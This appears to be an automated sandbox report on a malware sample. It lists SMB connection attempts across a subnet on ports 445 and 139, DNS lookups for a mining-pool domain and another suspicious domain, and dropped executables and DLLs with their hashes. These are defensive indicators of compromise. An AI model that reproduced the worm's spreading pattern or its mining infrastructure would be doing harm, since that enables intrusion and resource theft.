N/A 10.127.0.81:445 tcp
N/A 10.127.0.82:445 tcp
N/A 10.127.0.84:445 tcp
N/A 10.127.0.83:445 tcp
N/A 10.127.0.85:445 tcp
N/A 10.127.0.86:445 tcp
N/A 10.127.0.87:445 tcp
N/A 10.127.0.88:445 tcp
N/A 10.127.0.90:445 tcp
N/A 10.127.0.24:139 tcp
N/A 10.127.0.91:445 tcp
N/A 10.127.0.25:139 tcp
N/A 10.127.0.26:139 tcp
N/A 10.127.0.92:445 tcp
N/A 10.127.0.94:445 tcp
N/A 10.127.0.93:445 tcp
N/A 10.127.0.27:139 tcp
N/A 10.127.0.96:445 tcp
N/A 10.127.0.95:445 tcp
N/A 10.127.0.98:445 tcp
N/A 10.127.0.97:445 tcp
N/A 10.127.0.100:445 tcp
N/A 10.127.0.99:445 tcp
N/A 10.127.0.102:445 tcp
N/A 10.127.0.101:445 tcp
N/A 10.127.0.32:139 tcp
N/A 10.127.0.28:139 tcp
N/A 10.127.0.31:139 tcp
N/A 10.127.0.35:139 tcp
N/A 10.127.0.29:139 tcp
N/A 10.127.0.34:139 tcp
N/A 10.127.0.30:139 tcp
N/A 10.127.0.104:445 tcp
N/A 10.127.0.103:445 tcp
N/A 10.127.0.33:139 tcp
N/A 10.127.0.105:445 tcp
N/A 10.127.0.37:139 tcp
N/A 10.127.0.36:139 tcp
N/A 10.127.0.106:445 tcp
N/A 10.127.0.108:445 tcp
N/A 10.127.0.107:445 tcp
N/A 10.127.0.111:445 tcp
N/A 10.127.0.110:445 tcp
N/A 10.127.0.109:445 tcp
N/A 10.127.0.112:445 tcp
N/A 10.127.0.43:139 tcp
N/A 10.127.0.42:139 tcp
N/A 10.127.0.38:139 tcp
N/A 10.127.0.40:139 tcp
N/A 10.127.0.113:445 tcp
N/A 10.127.0.39:139 tcp
N/A 10.127.0.41:139 tcp
N/A 10.127.0.45:139 tcp
N/A 10.127.0.44:139 tcp
N/A 10.127.0.114:445 tcp
N/A 10.127.0.116:445 tcp
N/A 10.127.0.115:445 tcp
N/A 10.127.0.117:445 tcp
N/A 10.127.0.118:445 tcp
N/A 10.127.0.120:445 tcp
N/A 10.127.0.119:445 tcp
N/A 10.127.0.122:445 tcp
N/A 10.127.0.121:445 tcp
N/A 10.127.0.123:445 tcp
N/A 10.127.0.50:139 tcp
N/A 10.127.0.47:139 tcp
N/A 10.127.0.49:139 tcp
N/A 10.127.0.51:139 tcp
N/A 10.127.0.52:139 tcp
N/A 10.127.0.46:139 tcp
N/A 10.127.0.48:139 tcp
N/A 10.127.0.55:139 tcp
N/A 10.127.0.54:139 tcp
N/A 10.127.0.53:139 tcp
N/A 10.127.0.125:445 tcp
N/A 10.127.0.127:445 tcp
N/A 10.127.0.126:445 tcp
N/A 10.127.0.124:445 tcp
N/A 10.127.0.56:139 tcp
N/A 10.127.0.57:139 tcp
N/A 10.127.0.59:139 tcp
N/A 10.127.0.58:139 tcp
N/A 10.127.0.129:445 tcp
N/A 10.127.0.128:445 tcp
N/A 10.127.0.131:445 tcp
N/A 10.127.0.130:445 tcp
N/A 10.127.0.60:139 tcp
N/A 10.127.0.61:139 tcp
N/A 10.127.0.63:139 tcp
N/A 10.127.0.62:139 tcp
N/A 10.127.0.64:139 tcp
N/A 10.127.0.132:445 tcp
N/A 10.127.0.134:445 tcp
N/A 10.127.0.133:445 tcp
N/A 10.127.0.65:139 tcp
N/A 10.127.0.66:139 tcp
N/A 10.127.0.136:445 tcp
N/A 10.127.0.135:445 tcp
N/A 10.127.0.69:139 tcp
N/A 10.127.0.68:139 tcp
N/A 10.127.0.67:139 tcp
N/A 10.127.0.138:445 tcp
N/A 10.127.0.139:445 tcp
N/A 10.127.0.140:445 tcp
N/A 10.127.0.137:445 tcp
N/A 10.127.0.71:139 tcp
N/A 10.127.0.70:139 tcp
N/A 10.127.0.72:139 tcp
N/A 10.127.0.141:445 tcp
N/A 10.127.0.144:445 tcp
N/A 10.127.0.143:445 tcp
N/A 10.127.0.142:445 tcp
N/A 10.127.0.74:139 tcp
N/A 10.127.0.73:139 tcp
N/A 10.127.0.75:139 tcp
N/A 10.127.0.145:445 tcp
N/A 10.127.0.77:139 tcp
N/A 10.127.0.76:139 tcp
N/A 10.127.0.146:445 tcp
N/A 10.127.0.147:445 tcp
N/A 10.127.0.78:139 tcp
N/A 10.127.0.80:139 tcp
N/A 10.127.0.79:139 tcp
N/A 10.127.0.149:445 tcp
N/A 10.127.0.148:445 tcp
N/A 10.127.0.150:445 tcp
N/A 10.127.0.151:445 tcp
N/A 10.127.0.82:139 tcp
N/A 10.127.0.81:139 tcp
N/A 10.127.0.83:139 tcp
N/A 10.127.0.84:139 tcp
N/A 10.127.0.153:445 tcp
N/A 10.127.0.152:445 tcp
N/A 10.127.0.154:445 tcp
N/A 10.127.0.85:139 tcp
N/A 10.127.0.87:139 tcp
N/A 10.127.0.86:139 tcp
N/A 10.127.0.88:139 tcp
N/A 10.127.0.155:445 tcp
N/A 10.127.0.158:445 tcp
N/A 10.127.0.156:445 tcp
N/A 10.127.0.157:445 tcp
N/A 10.127.0.90:139 tcp
N/A 10.127.0.91:139 tcp
N/A 10.127.0.161:445 tcp
N/A 10.127.0.159:445 tcp
N/A 10.127.0.160:445 tcp
N/A 10.127.0.92:139 tcp
N/A 10.127.0.94:139 tcp
N/A 10.127.0.93:139 tcp
N/A 10.127.0.162:445 tcp
N/A 10.127.0.164:445 tcp
N/A 10.127.0.163:445 tcp
N/A 10.127.0.95:139 tcp
N/A 10.127.0.96:139 tcp
N/A 10.127.0.165:445 tcp
N/A 10.127.0.98:139 tcp
N/A 10.127.0.97:139 tcp
N/A 10.127.0.166:445 tcp
N/A 10.127.0.167:445 tcp
N/A 10.127.0.168:445 tcp
N/A 10.127.0.99:139 tcp
N/A 10.127.0.100:139 tcp
N/A 10.127.0.169:445 tcp
N/A 10.127.0.170:445 tcp
N/A 10.127.0.102:139 tcp
N/A 10.127.0.101:139 tcp
N/A 10.127.0.171:445 tcp
N/A 10.127.0.103:139 tcp
N/A 10.127.0.104:139 tcp
N/A 10.127.0.172:445 tcp
N/A 10.127.0.174:445 tcp
N/A 10.127.0.173:445 tcp
N/A 10.127.0.105:139 tcp
N/A 10.127.0.175:445 tcp
N/A 10.127.0.176:445 tcp
N/A 10.127.0.106:139 tcp
N/A 10.127.0.107:139 tcp
N/A 10.127.0.108:139 tcp
N/A 10.127.0.177:445 tcp
N/A 10.127.0.110:139 tcp
N/A 10.127.0.109:139 tcp
N/A 10.127.0.111:139 tcp
N/A 10.127.0.178:445 tcp
N/A 10.127.0.179:445 tcp
N/A 10.127.0.180:445 tcp
N/A 10.127.0.112:139 tcp
N/A 10.127.0.181:445 tcp
N/A 10.127.0.182:445 tcp
N/A 10.127.0.183:445 tcp
N/A 10.127.0.113:139 tcp
N/A 10.127.0.184:445 tcp
N/A 10.127.0.185:445 tcp
N/A 10.127.0.116:139 tcp
N/A 10.127.0.114:139 tcp
N/A 10.127.0.115:139 tcp
N/A 10.127.0.186:445 tcp
N/A 10.127.0.118:139 tcp
N/A 10.127.0.117:139 tcp
N/A 10.127.0.187:445 tcp
N/A 10.127.0.188:445 tcp
N/A 10.127.0.189:445 tcp
N/A 10.127.0.122:139 tcp
N/A 10.127.0.120:139 tcp
N/A 10.127.0.119:139 tcp
N/A 10.127.0.121:139 tcp
N/A 10.127.0.123:139 tcp
N/A 10.127.0.190:445 tcp
N/A 10.127.0.191:445 tcp
N/A 10.127.0.193:445 tcp
N/A 10.127.0.195:445 tcp
N/A 10.127.0.194:445 tcp
N/A 10.127.0.192:445 tcp
N/A 10.127.0.127:139 tcp
N/A 10.127.0.126:139 tcp
N/A 10.127.0.124:139 tcp
N/A 10.127.0.125:139 tcp
N/A 10.127.0.196:445 tcp
N/A 10.127.0.197:445 tcp
N/A 10.127.0.198:445 tcp
N/A 10.127.0.131:139 tcp
N/A 10.127.0.129:139 tcp
N/A 10.127.0.128:139 tcp
N/A 10.127.0.130:139 tcp
N/A 10.127.0.199:445 tcp
N/A 10.127.0.200:445 tcp
N/A 10.127.0.201:445 tcp
N/A 10.127.0.202:445 tcp
N/A 10.127.0.134:139 tcp
N/A 10.127.0.133:139 tcp
N/A 10.127.0.132:139 tcp
N/A 10.127.0.203:445 tcp
N/A 10.127.0.204:445 tcp
N/A 10.127.0.135:139 tcp
N/A 10.127.0.136:139 tcp
N/A 10.127.0.205:445 tcp
N/A 10.127.0.206:445 tcp
N/A 10.127.0.207:445 tcp
N/A 10.127.0.140:139 tcp
N/A 10.127.0.139:139 tcp
N/A 10.127.0.138:139 tcp
N/A 10.127.0.137:139 tcp
N/A 10.127.0.208:445 tcp
N/A 10.127.0.210:445 tcp
N/A 10.127.0.209:445 tcp
N/A 10.127.0.142:139 tcp
N/A 10.127.0.143:139 tcp
N/A 10.127.0.141:139 tcp
N/A 10.127.0.144:139 tcp
N/A 10.127.0.211:445 tcp
N/A 10.127.0.212:445 tcp
N/A 10.127.0.213:445 tcp
N/A 10.127.0.214:445 tcp
N/A 10.127.0.145:139 tcp
N/A 10.127.0.216:445 tcp
N/A 10.127.0.215:445 tcp
N/A 10.127.0.146:139 tcp
N/A 10.127.0.147:139 tcp
N/A 10.127.0.217:445 tcp
N/A 10.127.0.218:445 tcp
N/A 10.127.0.148:139 tcp
N/A 10.127.0.149:139 tcp
N/A 10.127.0.150:139 tcp
N/A 10.127.0.151:139 tcp
N/A 10.127.0.152:139 tcp
N/A 10.127.0.153:139 tcp
N/A 10.127.0.154:139 tcp
N/A 10.127.0.225:445 tcp
N/A 10.127.0.223:445 tcp
N/A 10.127.0.226:445 tcp
N/A 10.127.0.222:445 tcp
N/A 10.127.0.224:445 tcp
N/A 10.127.0.220:445 tcp
N/A 10.127.0.221:445 tcp
N/A 10.127.0.219:445 tcp
N/A 10.127.0.157:139 tcp
N/A 10.127.0.155:139 tcp
N/A 10.127.0.227:445 tcp
N/A 10.127.0.158:139 tcp
N/A 10.127.0.156:139 tcp
N/A 10.127.0.229:445 tcp
N/A 10.127.0.228:445 tcp
N/A 10.127.0.230:445 tcp
N/A 10.127.0.160:139 tcp
N/A 10.127.0.159:139 tcp
N/A 10.127.0.161:139 tcp
N/A 10.127.0.163:139 tcp
N/A 10.127.0.162:139 tcp
N/A 10.127.0.164:139 tcp
N/A 10.127.0.165:139 tcp
N/A 10.127.0.232:445 tcp
N/A 10.127.0.233:445 tcp
N/A 10.127.0.237:445 tcp
N/A 10.127.0.234:445 tcp
N/A 10.127.0.235:445 tcp
N/A 10.127.0.231:445 tcp
N/A 10.127.0.236:445 tcp
N/A 10.127.0.168:139 tcp
N/A 10.127.0.166:139 tcp
N/A 10.127.0.167:139 tcp
N/A 10.127.0.238:445 tcp
N/A 10.127.0.169:139 tcp
N/A 10.127.0.170:139 tcp
N/A 10.127.0.171:139 tcp
N/A 10.127.0.174:139 tcp
N/A 10.127.0.172:139 tcp
N/A 10.127.0.173:139 tcp
N/A 10.127.0.176:139 tcp
N/A 10.127.0.175:139 tcp
N/A 10.127.0.241:445 tcp
N/A 10.127.0.242:445 tcp
N/A 10.127.0.244:445 tcp
N/A 10.127.0.245:445 tcp
N/A 10.127.0.243:445 tcp
N/A 10.127.0.240:445 tcp
N/A 10.127.0.239:445 tcp
N/A 10.127.0.246:445 tcp
N/A 10.127.0.177:139 tcp
N/A 10.127.0.247:445 tcp
N/A 10.127.0.178:139 tcp
N/A 10.127.0.248:445 tcp
N/A 10.127.0.179:139 tcp
N/A 10.127.0.180:139 tcp
N/A 10.127.0.181:139 tcp
N/A 10.127.0.250:445 tcp
N/A 10.127.0.249:445 tcp
N/A 10.127.0.252:445 tcp
N/A 10.127.0.251:445 tcp
N/A 10.127.0.183:139 tcp
N/A 10.127.0.182:139 tcp
N/A 10.127.0.184:139 tcp
N/A 10.127.0.185:139 tcp
N/A 10.127.0.254:445 tcp
N/A 10.127.0.253:445 tcp
N/A 10.127.0.186:139 tcp
N/A 10.127.0.188:139 tcp
N/A 10.127.0.187:139 tcp
N/A 10.127.0.189:139 tcp
N/A 10.127.0.190:139 tcp
N/A 10.127.0.191:139 tcp
N/A 10.127.0.193:139 tcp
N/A 10.127.0.195:139 tcp
N/A 10.127.0.194:139 tcp
N/A 10.127.0.192:139 tcp
N/A 10.127.0.196:139 tcp
N/A 10.127.0.197:139 tcp
N/A 10.127.0.198:139 tcp
N/A 10.127.0.200:139 tcp
N/A 10.127.0.199:139 tcp
N/A 10.127.0.201:139 tcp
N/A 10.127.0.202:139 tcp
N/A 10.127.0.204:139 tcp
N/A 10.127.0.203:139 tcp
N/A 10.127.0.205:139 tcp
N/A 10.127.0.206:139 tcp
N/A 10.127.0.207:139 tcp
N/A 10.127.0.209:139 tcp
N/A 10.127.0.208:139 tcp
N/A 10.127.0.210:139 tcp
N/A 10.127.0.211:139 tcp
N/A 10.127.0.212:139 tcp
N/A 10.127.0.213:139 tcp
N/A 10.127.0.214:139 tcp
N/A 10.127.0.215:139 tcp
N/A 10.127.0.216:139 tcp
N/A 10.127.0.217:139 tcp
N/A 10.127.0.218:139 tcp
N/A 10.127.0.224:139 tcp
N/A 10.127.0.220:139 tcp
N/A 10.127.0.222:139 tcp
N/A 10.127.0.225:139 tcp
N/A 10.127.0.223:139 tcp
N/A 10.127.0.226:139 tcp
N/A 10.127.0.219:139 tcp
N/A 10.127.0.227:139 tcp
N/A 10.127.0.221:139 tcp
N/A 10.127.0.230:139 tcp
N/A 10.127.0.229:139 tcp
N/A 10.127.0.228:139 tcp
N/A 10.127.0.237:139 tcp
N/A 10.127.0.233:139 tcp
N/A 10.127.0.232:139 tcp
N/A 10.127.0.236:139 tcp
N/A 10.127.0.234:139 tcp
N/A 10.127.0.235:139 tcp
N/A 10.127.0.231:139 tcp
N/A 10.127.0.238:139 tcp
N/A 10.127.0.241:139 tcp
N/A 10.127.0.243:139 tcp
N/A 10.127.0.246:139 tcp
N/A 10.127.0.244:139 tcp
N/A 10.127.0.242:139 tcp
N/A 10.127.0.240:139 tcp
N/A 10.127.0.245:139 tcp
N/A 10.127.0.239:139 tcp
N/A 10.127.0.247:139 tcp
N/A 10.127.0.248:139 tcp
N/A 10.127.0.252:139 tcp
N/A 10.127.0.251:139 tcp
N/A 10.127.0.250:139 tcp
N/A 10.127.0.249:139 tcp
N/A 10.127.0.254:139 tcp
N/A 10.127.0.253:139 tcp
US 8.8.8.8:53 sadan.8b8n.com udp
US 8.8.8.8:53 auto.c3pool.org udp
US 8.8.8.8:53 0.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 3.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 2.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 auto.c3pool.org udp
US 8.8.8.8:53 4.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 5.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 7.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 6.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 8.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 10.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 9.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 11.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 13.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 12.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 16.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 14.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 15.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 17.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 19.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 21.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 18.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 22.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 20.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 23.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 24.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 25.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 27.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 26.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 28.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 31.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 34.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 32.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 35.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 29.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 30.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 33.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 37.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 36.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 43.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 42.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 38.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 39.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 44.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 41.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 45.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 46.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 50.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 47.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 49.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 51.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 40.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 auto.c3pool.org udp
US 8.8.8.8:53 sadan.8b8n.com udp
US 8.8.8.8:53 auto.c3pool.org udp
US 8.8.8.8:53 48.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 52.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 55.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 53.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 54.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 56.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 58.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 61.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 57.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 59.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 60.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 63.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 65.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 66.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 69.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 70.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 73.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 74.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 75.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 76.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 64.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 62.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 67.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 68.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 71.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 72.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 77.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 80.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 78.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 79.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 82.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 81.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 84.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 83.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 85.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 87.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 88.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 86.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 90.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 91.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 98.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 97.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 99.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 92.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 94.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 93.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 95.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 96.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 101.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 100.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 sadan.8b8n.com udp
US 8.8.8.8:53 auto.c3pool.org udp
US 8.8.8.8:53 102.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 103.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 104.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 105.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 106.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 110.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 107.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 108.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 111.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 112.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 109.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 113.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 116.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 115.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 118.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 114.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 117.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 119.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 123.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 122.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 125.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 134.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 133.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 132.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 135.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 120.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 121.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 127.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 126.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 124.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 131.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 129.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 128.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 130.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 136.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 139.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 140.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 138.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 137.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 143.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 141.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 144.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 146.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 145.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 150.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 148.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 147.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 149.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 151.0.127.10.in-addr.arpa udp

Files

C:\ProgramData\spreadTpqrst.exe

MD5 23d84a7ed2e8e76d0a13197b74913654
SHA1 23d04ba674bafbad225243dc81ce7eccd744a35a
SHA256 ac530d542a755ecce6a656ea6309717ec222c34d7e34c61792f3b350a8a29301
SHA512 aa6b0100d477214d550b6498787190fc1a8fafa7c478f9595d45e4e76ece9888b84dcca26696500d5710a9d1acae4810f2606d8962c46d31f2bdfcdd27bd675c

memory/4452-8-0x00007FF78FA00000-0x00007FF790044000-memory.dmp

memory/4452-10-0x000002BB86D40000-0x000002BB86D54000-memory.dmp

C:\ProgramData\SMB.exe

MD5 7b2f170698522cd844e0423252ad36c1
SHA1 303ac0aaf0e9f48d4943e57d1ee6c757f2dd48c5
SHA256 5214f356f2e8640230e93a95633cd73945c38027b23e76bb5e617c71949f8994
SHA512 7155477e6988a16f6d12a0800ab72b9b9b64b97a509324ac0669cec2a4b82cd81b3481ae2c2d1ce65e73b017cebb56628d949d6195aac8f6ddd9625a80789dfa

memory/4452-132-0x00007FF78FA00000-0x00007FF790044000-memory.dmp

C:\ProgramData\X64.dll

MD5 e0cba19ae05af38d683f0142b7830098
SHA1 f11f76ab015eba86408d58df703c4924ecbcfce5
SHA256 1b88b455ca4e3340749ab5a1aecb8540dc36deed61b8d8c7e83f75b40452254b
SHA512 63d6390737462feb496373c15d363c1c43a6f8a82ba04c41afc49c473681391607afbdb9eae2cfcf460d55a1a0d640e951c1c6b717cab892ca3c47bf3ec77a51

C:\ProgramData\X86.dll

MD5 1714f5eea5939f5683d6a94fa9dee08f
SHA1 def4a7c8cfa0db9aafdc4f29872dc916777b57fb
SHA256 549c16048586a212e4f1d1b27411628a14b21defee427c1c48840024c8cbfd4f
SHA512 c1a9143584f8ca9397c2a49ea130ea3dee37d984a66df740cd8de97ef7c12800edb72f306d0a135aee616e5a657b73b2a0f35a334e54ef0be71c230fc01655d2

memory/4452-138-0x00007FF78FA00000-0x00007FF790044000-memory.dmp

memory/2688-142-0x00007FF78FA00000-0x00007FF790044000-memory.dmp

memory/4304-148-0x00007FF78FA00000-0x00007FF790044000-memory.dmp

memory/4304-150-0x00007FF78FA00000-0x00007FF790044000-memory.dmp

memory/2892-153-0x00007FF78FA00000-0x00007FF790044000-memory.dmp

memory/4552-157-0x00007FF78FA00000-0x00007FF790044000-memory.dmp

memory/5908-161-0x00007FF78FA00000-0x00007FF790044000-memory.dmp

memory/6068-165-0x00007FF78FA00000-0x00007FF790044000-memory.dmp

memory/4436-169-0x00007FF78FA00000-0x00007FF790044000-memory.dmp

memory/5980-173-0x00007FF78FA00000-0x00007FF790044000-memory.dmp

memory/6104-176-0x00007FF78FA00000-0x00007FF790044000-memory.dmp

memory/1348-180-0x00007FF78FA00000-0x00007FF790044000-memory.dmp

memory/3020-184-0x00007FF78FA00000-0x00007FF790044000-memory.dmp

memory/3084-188-0x00007FF78FA00000-0x00007FF790044000-memory.dmp

memory/6036-200-0x00007FF78FA00000-0x00007FF790044000-memory.dmp

memory/3028-204-0x00007FF78FA00000-0x00007FF790044000-memory.dmp

memory/6108-207-0x00007FF78FA00000-0x00007FF790044000-memory.dmp

memory/6108-208-0x00007FF78FA00000-0x00007FF790044000-memory.dmp

memory/5096-211-0x00007FF78FA00000-0x00007FF790044000-memory.dmp

memory/5832-214-0x00007FF78FA00000-0x00007FF790044000-memory.dmp

memory/5832-215-0x00007FF78FA00000-0x00007FF790044000-memory.dmp

memory/1100-218-0x00007FF78FA00000-0x00007FF790044000-memory.dmp